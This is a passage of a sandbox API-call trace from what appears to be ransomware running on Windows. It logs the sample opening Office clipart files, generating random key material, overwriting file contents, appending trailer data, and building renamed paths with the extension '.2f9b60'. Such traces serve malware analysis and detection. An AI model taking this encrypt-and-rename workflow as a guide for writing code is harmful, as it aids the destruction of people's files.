| out: lpNewFilePointer=0x0) returned 1 [0149.782] ReadFile (in: hFile=0x217c, lpBuffer=0x2534fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2534fc28, lpOverlapped=0x0 | out: lpBuffer=0x2534fbe0*, lpNumberOfBytesRead=0x2534fc28*=0x4, lpOverlapped=0x0) returned 1 [0149.783] SetFilePointerEx (in: hFile=0x217c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f36d0 [0149.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3760 [0149.784] NtQuerySystemTime (in: CurrentTime=0x2534fb20 | out: CurrentTime=0x2534fb20*=132462177549934000) returned 0x0 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x575d062b [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x86f47b9 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x61933cd3 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x1a4c6ef5 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0xf0bff23 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x49d63e86 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x67688fe5 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x4d617802 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x9ec5ce0 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x246c0e86 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x3752f66e [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x12e61b25 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x5d8c2789 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x46e55659 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x4bcd3ce9 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x714e6961 [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x6b3a5eff [0149.784] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0xef4e78 [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x35e03fc7 [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x62bde25a [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0xb189aba [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x136be92a [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x2e092def [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x560907fa [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x190ffbe2 [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x6d041a83 [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x87c96e2 [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0xea905a1 [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x45204d08 [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x486894e0 [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x6c253814 [0149.785] RtlRandomEx (in: Seed=0x2534fb10 | out: Seed=0x2534fb10) returned 0x488b7bfa [0149.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3790 [0149.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a4b0 [0149.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f37c0 [0149.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a4b0) returned 1 [0149.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3760) returned 1 [0149.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf90 [0149.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a4b0 [0149.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20433b80 [0149.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20437790 [0149.795] ReadFile (in: hFile=0x217c, lpBuffer=0x20433b80, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x2534fb10, lpOverlapped=0x0 | out: lpBuffer=0x20433b80*, lpNumberOfBytesRead=0x2534fb10*=0x8fc, lpOverlapped=0x0) returned 1 [0149.795] SetFilePointerEx (in: hFile=0x217c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.795] WriteFile (in: hFile=0x217c, lpBuffer=0x20437790*, nNumberOfBytesToWrite=0x8fc, lpNumberOfBytesWritten=0x2534fb14, lpOverlapped=0x0 | out: lpBuffer=0x20437790*, lpNumberOfBytesWritten=0x2534fb14*=0x8fc, lpOverlapped=0x0) returned 1 [0161.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5e10 [0161.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5e40 [0161.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5e40) returned 1 [0161.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20437790) returned 1 [0161.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20433b80) returned 1 [0161.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a4b0) returned 1 [0161.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 [0161.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5e40 [0161.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf90 [0161.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a4b0 [0161.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5e70 [0161.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5e70) returned 1 [0161.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5e70 [0161.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5ea0 [0161.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5ed0 [0161.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5ed0) returned 1 [0161.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a4b0) returned 1 [0161.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 [0161.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ac890 [0161.854] SetFilePointerEx (in: hFile=0x217c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.854] WriteFile (in: hFile=0x217c, lpBuffer=0x423ac890*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2534fc30, lpOverlapped=0x0 | out: lpBuffer=0x423ac890*, lpNumberOfBytesWritten=0x2534fc30*=0x10a, lpOverlapped=0x0) returned 1 [0163.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1700 [0163.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1700) returned 1 [0163.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1700 [0163.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac16d0 [0163.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac16d0) returned 1 [0163.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.758] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="2c") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="b5") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="3f") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="01") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="63") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="40") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="d5") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="79") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="63") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="0b") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="0e") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="9d") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="cd") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="90") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="c5") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="e8") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="39") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="26") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="10") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="9c") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="60") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="81") returned 2 [0163.758] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="38") returned 2 [0163.758] RtlInitAnsiString (in: DestinationString=0x2534fca8, SourceString="2cb53f016340d579630b0ee39dcd90c5e83926109c608138" | out: DestinationString="2cb53f016340d579630b0ee39dcd90c5e83926109c608138") [0163.759] RtlAnsiStringToUnicodeString (in: DestinationString=0x2534fc78, SourceString="2cb53f016340d579630b0ee39dcd90c5e83926109c608138", AllocateDestinationString=1 | out: DestinationString="2cb53f016340d579630b0ee39dcd90c5e83926109c608138") returned 0x0 [0163.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857f00 [0163.759] RtlFreeAnsiString (AnsiString="2") [0163.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1700) returned 1 [0163.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ac890) returned 1 [0163.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5e70) returned 1 [0163.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5ea0) returned 1 [0163.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5e40) returned 1 [0163.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5e10) returned 1 [0163.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f36d0) returned 1 [0163.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3790) returned 1 [0163.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f37c0) returned 1 [0163.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230d420 [0163.762] wcscat (in: _Dest=0x4230d420, _Source="2cb53f016340" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2cb53f016340") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2cb53f016340" [0163.762] wcscat (in: _Dest=0x4230d420, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2cb53f016340.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2cb53f016340.2f9b60" [0163.762] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2cb53f016340.2f9b60", NtPathName=0x2534fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2cb53f016340.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279730 Thread: id = 2345 os_tid = 0x1d08 [0149.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x20 [0149.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF", dwFileAttributes=0x20) returned 1 [0149.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2180 [0149.798] GetFileSizeEx (in: hFile=0x2180, lpFileSize=0x263af740 | out: lpFileSize=0x263af740*=2080) returned 1 [0149.798] SetFilePointerEx (in: hFile=0x2180, liDistanceToMove=0x81c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.798] ReadFile (in: hFile=0x2180, lpBuffer=0x263af6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x263af708, lpOverlapped=0x0 | out: lpBuffer=0x263af6c0*, lpNumberOfBytesRead=0x263af708*=0x4, lpOverlapped=0x0) returned 1 [0149.800] SetFilePointerEx (in: hFile=0x2180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3760 [0149.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f37f0 [0149.800] NtQuerySystemTime (in: CurrentTime=0x263af600 | out: CurrentTime=0x263af600*=132462177550090000) returned 0x0 [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x3aa5e19b [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0xf258f95 [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x2ecb095f [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x457f3a44 [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x30511644 [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x7066fa52 [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0xa422f81 [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x47d9b858 [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x6fc11b9f [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x1d161c24 [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x1d77b6df [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x12eadc5e [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x6dc05f2a [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x5f43cbb9 [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x735d7023 [0149.800] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x75e443af [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x6f2c7b53 [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x50781fcc [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x17818018 [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x1ad41ade [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x6a2668fc [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x29b269f9 [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x565f53d2 [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x7e15d70 [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x66ba5ebe [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x569ae07c [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x36da00c8 [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x2d8b0f24 [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x793a45cf [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x18c265f0 [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x7505c2bb [0149.801] RtlRandomEx (in: Seed=0x263af5f0 | out: Seed=0x263af5f0) returned 0x7050baf1 [0149.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3820 [0149.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a530 [0149.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3850 [0149.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a530) returned 1 [0149.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f37f0) returned 1 [0149.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c080 [0149.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a530 [0149.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd660d0 [0149.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd69ce0 [0149.810] ReadFile (in: hFile=0x2180, lpBuffer=0x1cd660d0, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x263af5f0, lpOverlapped=0x0 | out: lpBuffer=0x1cd660d0*, lpNumberOfBytesRead=0x263af5f0*=0x820, lpOverlapped=0x0) returned 1 [0149.810] SetFilePointerEx (in: hFile=0x2180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.810] WriteFile (in: hFile=0x2180, lpBuffer=0x1cd69ce0*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x263af5f4, lpOverlapped=0x0 | out: lpBuffer=0x1cd69ce0*, lpNumberOfBytesWritten=0x263af5f4*=0x820, lpOverlapped=0x0) returned 1 [0161.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5ed0 [0161.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5f00 [0161.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5f00) returned 1 [0161.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd69ce0) returned 1 [0161.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd660d0) returned 1 [0161.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a530) returned 1 [0161.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c080) returned 1 [0161.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5f00 [0161.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c080 [0161.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a530 [0161.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5f30 [0161.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5f30) returned 1 [0161.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5f30 [0161.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5f60 [0161.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5f90 [0161.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5f90) returned 1 [0161.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a530) returned 1 [0161.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c080) returned 1 [0161.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ac9b0 [0161.860] SetFilePointerEx (in: hFile=0x2180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.860] WriteFile (in: hFile=0x2180, lpBuffer=0x423ac9b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x263af710, lpOverlapped=0x0 | out: lpBuffer=0x423ac9b0*, lpNumberOfBytesWritten=0x263af710*=0x10a, lpOverlapped=0x0) returned 1 [0163.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f37c0 [0163.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f37c0) returned 1 [0163.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f37c0 [0163.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3790 [0163.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3790) returned 1 [0163.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.767] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="ec") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="34") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="f9") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="6b") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="ed") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="2a") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="36") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="4f") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="7f") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="e7") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="d8") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="ef") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="a1") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="df") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="e7") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="f2") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="25") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="9a") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="74") returned 2 [0163.767] 